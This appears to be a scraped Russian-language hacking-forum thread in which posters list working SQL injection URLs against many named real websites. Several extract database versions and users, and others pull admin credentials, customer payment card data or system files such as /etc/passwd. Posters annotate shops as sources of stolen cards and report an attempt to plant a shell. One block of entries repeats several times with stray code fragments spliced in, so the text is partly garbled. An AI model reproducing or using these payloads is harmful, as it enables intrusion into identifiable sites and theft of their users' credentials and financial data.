http://www.musicolog.com/forum_cevap.asp?ID=889+union+select+1,2,3,4,5,6,7, 8,9,10,11,12+from+msysaccessobjects

http://www.uniqueturkey.com/page.asp?id=48+union+select+1,2,3,4,5,6+from+msysa ccessobjects (column 3 )

http://www.sleepandhypnosis.org/article.asp?id=27+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13+from+msysaccessobjects

http://www.extreminal.com/extreminal/en/kritik.asp?id=295+union+select+1,2,3,4,5,6,7,8,9,1 0+from+msysaccessobjects

http://www.egypttourplanner.com/EgyptTour.asp?id=7+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18+from+msysaccessobjects

[av1]

Code:
http://www.ekz.de/index.php?id=74%27&tx_pxekzshop[group]=-1000232+UNION+SELECT+1,2,3,4,5,concat_ws%280x3a,us er%28%29,version%28%29,database%28%29%29,7--&cHash=3bd5fc42f3

Username: ekz_de@localhost

Version: 5.1.41-community

Databse: ekz_de


Google PR: 7

[Unknown]

Code:
http://www.tolive4ever.com/memorial.php?id=244&lang_id=1'+union+select+concat_ws(0x3a,database(), user(),version())+--+

Database: tolive4ever

User: tolive4ever@izze.dreamhost.com

Version: 5.1.39-log

PR: 3

Доп. инфо: Шоп.

[tracy]

http://www.pet-id.ru/index.php?ids=24&page=64+and+1=0+union+select+1,2,version()+--+

4.1.21-log

ТИЦ :110


http://www.ros-registr.ru/services.html?id=-41+UnIon+selECt+1,2,3,group_concat(schema_name),5, 6,7,8,9,10,11,12,13+from+information_schema.schema ta+--+

ТИЦ : 50

http://www.rosprom.org/inf2.php3?id=5947+and+1=0+UnIon+selECt+1,group_con cat(table_name+separator+'%3Cbr%3E'),3,4,5,6,7,8,9 ,10,11+from+information_schema.tables+where+table_ schema=0x6239363434+--+

ТИЦ : 250

[R1dex]

Code:
http://www.wapler.net/index.php?id=502&gjd=19&ljd=4 and substring(version(),1,1)=3



Code:
http://www.waprotor.com/index.php?id=222&pos=-104 union select 1,2 from admins--

[av1]

Code:
http://www.chicagona.org/store/item_detail.php?item_id=-353+UNION+SELECT+1,concat_ws%280x3a,user%28%29,ver sion%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,1 2,13,14%20from%20mysql.user--&PHPSESSID=d931cea8e0796feb8a7f62deccfda2cc

mysql.user

Username: chic35@chicagona.org

Version: 4.1.22

Database: narcoticsanonymous

Google PR: 5

[Konqi]

http://www.womex.com/realwomex/main.php?id_headings=112&id_realwomex=12+and+substring(version(),1,1)=3&subheading=119

[brutos]

Code:
http://www.tetis.ru/stat/art/count.php?id=-8+union+all+select+concat_ws(0x3a3a,version(),user (),database(),@@version_compile_os)+--+

PR: 5, ТИЦ: 1600

Version: 4.1.21


Code:
http://sportland-club.ru/?page=-1+union+select+concat_ws(0x3a3a,version(),user(),d atabase(),@@version_compile_os)+--+

PR: 4, ТИЦ: 300

Version: 4.0.26


Code:
http://www.xfit.ru/news/number=258+and+1=2+union+select+1,2,3,concat_ws(0x 3a,version(),user(),database()),5,6,7,8+--+

PR: 3, ТИЦ: 325

Version: 5.0.77-log

[av1]

Code:
http://www.fcnl.org/issues/issue.php?issue_id=-76+UNION+SELECT+1,2,concat_ws%280x3a,user%28%29,ve rsion%28%29,database%28%29%29,4,5,6,7,8,9+from+sup _people--

Username: fcnlstaff@localhost

Version: 5.0.77

Database: fcnl

Google PR: 6

[[Feldmarschall]]

Code:
http://www.echtenamen.de/kategorie.php4?id=-13+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4--

ver. 4.1.22-MAX-LOG

usr. V077244@LOCALHOST

db. V077244

[Konqi]

http://www.hvolsvollur.is/GetMynd.asp?aID=1202+and+1=@@version

http://english.hestafrettir.is/PrentaFrett.asp?aID=1359+and+1=@@version

[<Cyber-punk>]

Joomla SQL-injection:


Code:
http://gsdk9.com.ua/index.php?option=com_djcatalog&view=show&search=%27+and+0+union+select+1 ,2,3,username,5,password,7,8,9,1 0,11+from+%23__users%23
http://classtv.ru/index.php?option=com_djcatalog&view=show&search=%27+and+0+union+select+1,2 ,3,username,5,password,7,8,9, 10,11+from+%23__users%23
http://www.sentimat.com.ua/index.php?option=com_djcatalog&view=show&search=%27+and+0+union+select+1,2, 3,username ,5,password,7,8,9,10,11+from+%23__users%23
http://alvitek.ru/index.php?option=com_djcatalog&view=show&search=%27+and+0 +union+select+1,2,3,username,5,password,7,8,9,10, 11+from+%23__users%23
http://cleanwin.org/index.php?option=com_djcatalog&view=show&search=%27+and+0+union+select+1,2 ,3,username,5,password,7,8,9 ,10,11 +from+%23__users%23
http://www.euro-com.com.ua/index.php?option=com_djcatalog&view=show&search=%27+and+0+union+select+1,2,3,username,5,pas sword,7,8,9,1 0,11+from+%23__users%23

[Konqi]

http://minneapolis.institute.art.museum/viewer/detail.php?v=2&id=-3524+union+select+1,2,3,4,5,6,7,8,9,10,group_conca t(schema_name),12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,4 0,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+fro m+information_schema.schemata

PR-7

[Kusto]

ТИЦ: 160

PR: 6

http://www.fulbright.org.ua/page.php?pid=-32+union+select+concat(name,char(58),pass)+from+au th+--+

результат в исходнике- пример

FULBRIGHT UKRAINE : olexad:fuldan

[satana-fu]

админку не нашел

http://www.tehnostudio.ru/index.php?cat=0xSGGPPP&df_sort=&newdf_value2=120+and+(select*from(select+count(*)f rom(select+1+union+select+2+union+select+3)x+group +by+concat(mid((select+concat_ws(char(58),login,na me,pwd,email,regdate,rkey)+from+RegUser+limit+0,1) ,1,64),floor(rand(0)*2)))z)--+

[tracy]

http://www.bigboard.ru/ru/presscentr/nrnr/index.php?&id59=2428+UnIon+selECt+1,2,3,4,5,6,7,8,version(),1 0,11,12,13,14,15,16--

4.1.22

http://www.bigboard.ru/ru/presscentr/nrnr/index.php?&id59=2428+and+1=0+UnIon+selECt+1,2,3,4,5,6,7,8,fil e_priv,10,11,12,13,14,15,16+from+mysql.user+where+ user='root'--+

file_priv=Y


http://www.bigboard.ru/ru/presscentr/nrnr/index.php?&id59=2428+UnIon+selECt+1,2,3,4,5,6,7,8,LOAD_FILE('/etc/passwd'),10,11,12,13,14,15,16--

Читалка

ТИЦ : 60

[Kusto]

хз что за хеш тут выводится- сам не пойму

http://www.international-school.org/page.php?pid=-3010+union+select+concat(login,char(58),password), 2,3,4,5,6,7,8+from+users+limit+2,1+--+

и админка http://www.international-school.org/page.php?pid=10000&dologin=1

[-PRIVAT-]

http://www.eurofish.dk/dynamiskSub.php4?id=915+union+select+1,2,3,4,5,6,7 ,8,9,0,1,2,3,4,5,6,7--




http://www.enlight.com/cmsel/press/view.php?id=99952+union+select+1,2,3,4,5,6,7,8,9,0----




http://www.diynews.ru/shops.aspx?ShopID=-166+union+select+1,2,3,4,5,6,7,8,9----




http://www.koleso-samara.ru/index.php?pageId=5&shopId=-33+union+select+1--




http://www.clickitgolf.com/city.php?cityId=-517+union+select+1,2,3,4,5,6,7,8+--+




http://www.smilesite.co.uk/cosmetic.asp?CosmeticID=2+union+select+1,name,3+fr om+MSysObjects+where+MSysObjects.Type=6--
union+select+group_concat(column_name),2,3+from+in formation_schema.columns+where+table_name=0x74626c 5072656d54656c5061796d656--




http://www.retrogaa.com/product_info.php?currency=GBP&cpath=90&products_id=375+union+select+1,2,3--





http://www.healthherbs.com/newsletterpast.html?newsid=-29+union+select+1,2,3,concat_ws(0x3a,orderId,nameF ,nameL,address,city,state,zip,country,email,phone, paymentOption,cardType,cardNum,month,year,bankName ,bankAddress,routing,account,checkNum,authSig,theT otal,status,timedate,timeShipped,comments,shipOpt, cardcvv2)+from+orders+limit+2800,1--


Выводит картон!

http://www.mellert.de/index.php?productid=2317+union+select+1,2,3--/QUOTE]




http://www.vegra.com/ru/Product.php?ProductId=236+union+select+1,2,3,4,5,6 ,7--



http://www.bechstein.de/instruments/bechsteinacademy/uprightpianos/default.aspx?productId=21+union+select+1,2,3,4--



http://www.zavod-elecon.ru/product.html?id=-37+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4--



http://soulclaprecords.com/product.html?id=-9173+union+select+1,2,3,4,5,6,7,8,9,0,10,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,co ncat_ws%280x3a,id,username,sname,address1,address2 ,country,postcode,city,state,currency,dphone,ahpho ne,lastlogin,ptype,email,bname,baddress1,baddress2 ,bcountry,bpostcode,bcity,bstate,cctype,ccnumber,c cexpirym,ccexpiryd,message,postage,dateemail,datep aid,datecleared,daterem,maintr,reminded,pmethod,da te,total,fullname,require_phonecall%29,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5 2,53,54+from+orders--


Выводит картон!

http://www.connectland.com.hk/main/product/html/product_detail.php?id=133+union+select+1,2,3,4,5,6 ,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.alta.ua/catalog/sprayers/product.html?id=1903+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8, 9--



http://www.thepopcornmachine.com/catalog-product.php?p_ref=7070+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.cudacoffee.com/catalog-product.php?p_ref=3270+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.nextdoorstyle.com/shopProduct.php?idp=99358+union+select+1,2,version %28%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--


P.S Все сайты прочеканы антибояном.
P.S.S Некоторые раскручены не до конца, но все сайты уязвимы не пинайте!)


" if author else f"


http://www.vegra.com/ru/Product.php?ProductId=236+union+select+1,2,3,4,5,6 ,7--



http://www.bechstein.de/instruments/bechsteinacademy/uprightpianos/default.aspx?productId=21+union+select+1,2,3,4--



http://www.zavod-elecon.ru/product.html?id=-37+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4--



http://soulclaprecords.com/product.html?id=-9173+union+select+1,2,3,4,5,6,7,8,9,0,10,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,co ncat_ws%280x3a,id,username,sname,address1,address2 ,country,postcode,city,state,currency,dphone,ahpho ne,lastlogin,ptype,email,bname,baddress1,baddress2 ,bcountry,bpostcode,bcity,bstate,cctype,ccnumber,c cexpirym,ccexpiryd,message,postage,dateemail,datep aid,datecleared,daterem,maintr,reminded,pmethod,da te,total,fullname,require_phonecall%29,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5 2,53,54+from+orders--


Выводит картон!

http://www.connectland.com.hk/main/product/html/product_detail.php?id=133+union+select+1,2,3,4,5,6 ,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.alta.ua/catalog/sprayers/product.html?id=1903+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8, 9--



http://www.thepopcornmachine.com/catalog-product.php?p_ref=7070+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.cudacoffee.com/catalog-product.php?p_ref=3270+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.nextdoorstyle.com/shopProduct.php?idp=99358+union+select+1,2,version %28%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--


P.S Все сайты прочеканы антибояном.
P.S.S Некоторые раскручены не до конца, но все сайты уязвимы не пинайте!)




" if author else f"


http://www.healthherbs.com/newsletterpast.html?newsid=-29+union+select+1,2,3,concat_ws(0x3a,orderId,nameF ,nameL,address,city,state,zip,country,email,phone, paymentOption,cardType,cardNum,month,year,bankName ,bankAddress,routing,account,checkNum,authSig,theT otal,status,timedate,timeShipped,comments,shipOpt, cardcvv2)+from+orders+limit+2800,1--


Выводит картон!

http://www.mellert.de/index.php?productid=2317+union+select+1,2,3--/QUOTE]




http://www.vegra.com/ru/Product.php?ProductId=236+union+select+1,2,3,4,5,6 ,7--



http://www.bechstein.de/instruments/bechsteinacademy/uprightpianos/default.aspx?productId=21+union+select+1,2,3,4--



http://www.zavod-elecon.ru/product.html?id=-37+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4--



http://soulclaprecords.com/product.html?id=-9173+union+select+1,2,3,4,5,6,7,8,9,0,10,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,co ncat_ws%280x3a,id,username,sname,address1,address2 ,country,postcode,city,state,currency,dphone,ahpho ne,lastlogin,ptype,email,bname,baddress1,baddress2 ,bcountry,bpostcode,bcity,bstate,cctype,ccnumber,c cexpirym,ccexpiryd,message,postage,dateemail,datep aid,datecleared,daterem,maintr,reminded,pmethod,da te,total,fullname,require_phonecall%29,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5 2,53,54+from+orders--


Выводит картон!

http://www.connectland.com.hk/main/product/html/product_detail.php?id=133+union+select+1,2,3,4,5,6 ,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.alta.ua/catalog/sprayers/product.html?id=1903+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8, 9--



http://www.thepopcornmachine.com/catalog-product.php?p_ref=7070+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.cudacoffee.com/catalog-product.php?p_ref=3270+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.nextdoorstyle.com/shopProduct.php?idp=99358+union+select+1,2,version %28%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--


P.S Все сайты прочеканы антибояном.
P.S.S Некоторые раскручены не до конца, но все сайты уязвимы не пинайте!)


" if author else f"


http://www.vegra.com/ru/Product.php?ProductId=236+union+select+1,2,3,4,5,6 ,7--



http://www.bechstein.de/instruments/bechsteinacademy/uprightpianos/default.aspx?productId=21+union+select+1,2,3,4--



http://www.zavod-elecon.ru/product.html?id=-37+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4--



http://soulclaprecords.com/product.html?id=-9173+union+select+1,2,3,4,5,6,7,8,9,0,10,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,co ncat_ws%280x3a,id,username,sname,address1,address2 ,country,postcode,city,state,currency,dphone,ahpho ne,lastlogin,ptype,email,bname,baddress1,baddress2 ,bcountry,bpostcode,bcity,bstate,cctype,ccnumber,c cexpirym,ccexpiryd,message,postage,dateemail,datep aid,datecleared,daterem,maintr,reminded,pmethod,da te,total,fullname,require_phonecall%29,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5 2,53,54+from+orders--


Выводит картон!

http://www.connectland.com.hk/main/product/html/product_detail.php?id=133+union+select+1,2,3,4,5,6 ,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.alta.ua/catalog/sprayers/product.html?id=1903+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8, 9--



http://www.thepopcornmachine.com/catalog-product.php?p_ref=7070+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.cudacoffee.com/catalog-product.php?p_ref=3270+union+select+1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--



http://www.nextdoorstyle.com/shopProduct.php?idp=99358+union+select+1,2,version %28%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--


P.S Все сайты прочеканы антибояном.
P.S.S Некоторые раскручены не до конца, но все сайты уязвимы не пинайте!)

[Konqi]

http://www.laminaattekoop.nl/accessoires_artikel.php?id=24+and+substring(versio n(),1,1)=3

http://newmee-perruque.com/fiche.php?id=125+and+substring(version(),1,1)=3--&type=3

[av1]

Code:
http://www.ausgamers.com/events/?agn=view-event&id=-2041+UNION+SELECT+1,2,3,4,5,concat_ws%280x3a,user% 28%29,version%28%29,database%28%29%29,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29%20from%20users--

Username: syd8-www@110.232.115.105

Version: 5.0.51a-log

Database: agn_users

Google PR: 6

[Lilo]

шопы

http://zaponok.net/tovar.php?id=-97+union+select+null+version()--

http://www.promtracktor.ru/tovar.php?id=-2+union+select+1,database()--

http://stanko-nct.ru/tovar.php?id=-136+union+select+1,version%28%29,3,4,5,6,7,8,9,10, 11,12,13--&PHPSESSID=d94ae1116d9d319ead85fd74284902ab

http://www.ventasport.ru/tovar.php?id=-146+union+select+1,database%28%29,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20--

http://qualitytv.ru/eshop/tovar.php?id=-138+union+select+1,2,3,version%28%29,5,6,7,8,9--

http://chickenart.com.ua/shop/catalog.php?id=4+and+substring(version(),1,1)=5

http://www.quiltersnet.ca/shop-item.php?id=30+union+select+1,2,3,4,5,6,7,8,9,0,1, 2,3,4,5,6--

[Konqi]

http://raid-decouverte.com/roadster/voir_accessoire.php?id=-8+union+select+1,2,3,4,5

http://www.legendes-motorcycle.com/productdetail.php?product=-218+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

[SofiaLoar]

http://www.esdnow.com/homepage/en/news.php?id=-20+union+select+1,version(),3,4++--+

[[Feldmarschall]]

http://www.clubinfo.tv/xxx.php?id_loc=473+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,conca t_ws(0x3a,version(),user(),database()),26--

[DarkDante]

Code:
http://www.paloaltoonline.com/weekly/story.php?story_id=1+and+1=0+Union+Select+1,2,3,4, 5,6,7,8,9,10,11,12,13,14--

PR7

[547]

debian-linux-gnu:5.0.51a-3ubuntu5.5-log1


Code:
http://www.nnt.nl/pagina.php?id=6+and+%28select+1+from+%28select+cou nt%280%29+from+%28select+1+union+select+2+union+se lect+3%29z+group+by+concat%28%28select+concat_ws%2 80x3a,@@version_compile_os,version%28%29%29+from+i nformation_schema.tables+limit+18,1%29,floor%28ran d%280%29*2%29%29%29u%29%20--%201

[stepashka_]

http://star-electronics.com/product_detail.php?id=-62+union+select+1,2,3,4,concat_ws(0x3a,version(),d atabase(),user()),6,7,8,9--+

5.0.67-community:star_data:star_data@localhost

PR 3

http://www.truster.nl/product_detail.php?id=-1+union+select+1,table_name,3,4,5,6+from+informati on_schema.tables--+

Какой то шоп

http://www.lipchip.com/product_detail.php?id=-19+union+select+1,2,3,4,concat_ws(0x3a,version(),d atabase(),user()),6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29+from+informati on_schema.tables--+

5.1.48:lipchip2_imagearystation:lipchip2_lunar1@lo calhost

[moodoone]

PHP:
http://www.crimea-land.info/info.php?pid=-29+union+select+1,version%28%29,3,4,5,6,7,8,9,10,1 1--

Шоп


PHP:
http://algor.com.ua/?pg=detail&under=37&id=-652+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,32,33,34,35,36,37,38,39,40,41,concat_ws(0x3a,cust omers_email_address,customers_password),43,44,45,4 6,47,48,49,50,51,52,53,54+from+customers--+

[DarkDante]

PHP:
http://docs. bentley.com/ product.php?prod=-1+union+select+concat_ws(0x3a,version(),database() ,user()),2--

4.0.15-standard:dbchp4@localhost documents

[<Cyber-punk>]

http://www.sfauto.ru/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat( username ,0x3a,password),4,5,6,7+from+%23__users+where+gid= 2 5+or+gid=24+and+block%3C%3E1--

5.0.91-log:sfautoru:sfautoru@208.109.181.134

[shuba]

http://paladinoforthepeople.com/issuedetail.php?id=6+union+select+1,2,concat_ws%28 0x3a,user,password%29,4,5,6+from+profiles--+

[R1dex]

http://classic.ipy.org/development/eoi/proposal-details.php?id=34 or 1 group by concat(version(),floor(rand(0)*2)) having count(0) or 1--+

3.23.521 Т_Т

[-PRIVAT-]

http://www.unreellocations.com/locDisp.php?loc_id=-58+union+select+1,2,3,4,5,6--




http://www.simplyamsterdam.nl/show_location.php?loc_id=2315+union+select+1,2,3,4 ,5,6,7,8,9,0--



ТИЦ10(R2) PR5

[ubi]

Code:
http://www.marilyn.cz/m8/news.php?list=99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHA %20%20R(58),user_password),null,null,null,null,nul l,null%20%20,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*



Code:
http://www.kved.ru/php/content.php?id=4520')/*1*/union/*1*/select/*1*/1,2,3,4/*

[stepashka_]

http://www.alrazi.com/product_detail.php?id=-32+union+select+1,2,3,concat_ws(0x3a,version(),dat abase(),user()),5,6,7,8,9,10,11,12,13,14,15,16--+

5.0.90-community:alrazi2_products:alrazi2_jinos@localhost

PR 2

[stepashka_]

Шоп

http://www.nikejordanshoes2sell.com/product_detail.php?id=-12393+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,t able_name,15,16,17,18,19+from+information_schema.t ables+limit+27,1--+

http://www.nikejordanshoes2sell.com/product_detail.php?id=-12393+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,g roup_concat(column_name),15,16,17,18,19+FROM+INFOR MATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x786d5f626 1736963+--+

ТИЦ: 10

PR: 3

[SENIA]

http://www.vashopros.ru/tip.php?id_tip=-14'union+select+1,version(),3,4,5,6+--+

тиц 300 пр5

[Zombi ****]

VACUUMS CMS

http://www.vacuums.net.ua/ ОФ САЙТ

Уязвимы практически все сайты размещенные на сайте разработчика у которых есть раздел новости.

Пример:

http://akma.com.ua/ru/news/?cid=43&nid=-768+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23--

http://akma.com.ua/admin

[R1dex]

http://www.fleet-ukraine.com/section.php?sid=1 and 1=0 union select 1,2,group_concat(concat(user,0x3a,pass)separator+0 x3c62723e),4 from users--+

[stepashka_]

http://www.dom-zdorovja.ru/product.php?id=-86+union+select+1,2,concat_ws(0x3a,version(),datab ase(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20--+

4.1.25-log:domzdor7_shop:domzdor7_alexey@localhost

ТИЦ: 40

PR: 1

[brutos]

http://www.bears-club.com.ua/?sc=clichko2&ph_id=-100015+union+select+1,2,group_concat(table_name),4 +from+information_schema.tables+where+table_schema =0x62656172732d636c7562+--+

Version: 5.1.50-log

PR 2, ТИЦ 275

http://www.samokat-fb.ru/index.php?news&id=32+and+1=2+uNIon+sELecT+1,2,3,concat_ws(0x3a,ve rsion(),user(),database(),@@version_compile_os),5, 6,7+--+

Version: 4.0.26

PR 3, ТИЦ 180

http://www.zebrafitness.ru/ru/about/service/?id=-66'+and+1=2+union+select+1,2,concat_ws(0x3a,versio n(),user(),database(),@@version_compile_os),4,5,6, 7,8+--+

Version: 4.1.22

PR 3, ТИЦ 150

[Strilo4ka]

_


Code:
http://www.fin.org.ua/newws.php?i=640932+union+select+1,2,group_concat%2 8table_name%20separator%200x3a%29,4,5,6%20from+inf ormation_schema.tables%20limit%200,1--+

тиц210. зы можно крутить)

[tracy]

http://krossovki.biz/index.php?mod_name=products&id=14+and+1=0+UnIon+selECt+1,concat_ws(0x3a,id,log in,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19+from+krossovki_admin_users--+

ТИЦ: 10

http://www.tennis-stock.com/catalog.htm?id=832+and+1=0+union+select+1,2,3,4,5, 6,7,8--

ТИЦ: 10

[b3]

Шелл не залил =(

http://search.aladon.org.ua/history.php?id=-186+UNION+SELECT+1,2,3,4,5,6,7,8,concat(0x3C746578 746172656120636F6C733D2238302220726F77733D22333022 3E,LOAD_FILE(0x2F6574632F617061636865322F736974657 32D617661696C61626C652F64656661756C74),0x3C2F74657 874617265613E),10,11,12,13,14,15--

[stepashka_]

http://www.ultimatumz.com/product.php?id=-20+union+select+1,concat_ws(0x3a,version(),databas e(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15--+

5.1.26-rc-5.1.26rc:db93410_UltimatumZ:db93410_site@205.186.1 84.27

Тиц : 10

[DarkDante]

PHP:
http://www.slightergolf.com/products/shop.php?id=-18+union+select+ 1,2,3,4,version(), 6,7,8,9,10,1 1--

5.1.47-community-log

[tracy]

http://www.virgolds.com/buy/index.php?id=1'+and+1=0+UnIon+selECt+1,2,concat_ws (0x3a,id,username,userpass,sal,firstname,lastname, paypalaccount,userim,usertel,interestgame,signup_u rl,signuptime,introducerid,usertype,usertotal),4,5 ,6,7,8,9,10,11,12,13,14,15,16+from+virgoods_member +limit+51,1--+

Если будете брутить хеши формат md5(md5($pass).$salt)

PR: 3

[Lilo]

http://www.nealcorealestate.com/sell.php?s=-7+union+select+1,version%28%29,3,4,5--

http://www.floso.org/onlineshop.php?id=-15+union+select+1,version(),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24--

http://www.skepticon.org/shop/item.php?id=-3+union+select+1,2,version%28%29,4,5,6--

http://www.e-globalshopping.com/shop/item.php?id=5059%20union%20select%201,2,3,4,5,6,7,

http://www.francescakaplan.com/shop/item.php?id=-6+union+select+1,version%28%29,3,4,5,6,7,8--

[tracy]

http://www.cskabasket.com/news/?a=junior&id=8881+or+(select+count(*)from(select+1+union+sel ect+2+union+select+3)x+group+by+concat(mid((select +version()),1,64),floor(rand(0)*2)))

XSS присутсвует,в теме "хсс" выкладывали уже )

ТИЦ : 700 PR: 6

[Konqi]

http://www.vaxjap.com/cat1.php?c1=2+union+select+cast(version()||chr(58) ||user as int),null,null,null,null,null,null,null,null+from+ pg_user;--


Code:
PostgreSQL 8.1.21 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-48):3241a5781cc95c12082c129344937356

[skM]

Сеть салонов модных часов


http://www.timecode.ru/news?id=99'+union+select+1,concat_ws(':',id,login, password,access),3,4,5,6,7,8,9,10,11+from+users--+

[SofiaLoar]

http://www.matagordabaylanzarote.com/lanzarote-news.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31+--+

[Lilo]

http://www.gotkosherinc.com/shop/menu.php?id=-18+union+select+1,2,3,count%28*%29,5,6,7,8,9,10,11 ,12+from+dc_orderhead--

шоп картон

[tracy]

http://www.moscowatch.ru/clock_window.php?id=2827+and+1=0+union+select+1,ve rsion(),3+--+

4-mysql

ТИЦ : 50 PR: 5

http://www.metaprom.ru/firms-info/?company_id=1369+and+1=0+union+select+1,group_conc at(schema_name)+from+information_schema.schemata+--+

ТИЦ : 2300 траффа 7к - немалая пузомерка )))

[ubi]

http://www.banglasports.com/football-old/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,

[Gedj]

МТС


Code:
http://mts05.ru/numbers_open.php?id=-2666+union+select+1,concat(0x3a,pass,login),3,4,5+ from+mts_admins--

[AC//DC]

СамараТур

http://www.samaratour.com/cgi-bin/new/st.cgi?act=sp;C=01;l=r;ID=-569387325+and+1=2+union+select+1,2,3,4,concat_ws(c har(58),@@version,user(),database(),@@version_comp ile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--

version : 5.1.41-log

user : samaratour_mysql@212.193.252.6

database : samaratour_satr

os : portbld-freebsd7.2

[R1dex]

Code:
http://www.opinionytoros.com/manoamano.php?Id=238 and 1=0 UNION SELECT 1,2,3,4,5,6,concat(version(),0x3a,user()),8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+

[stepashka_]

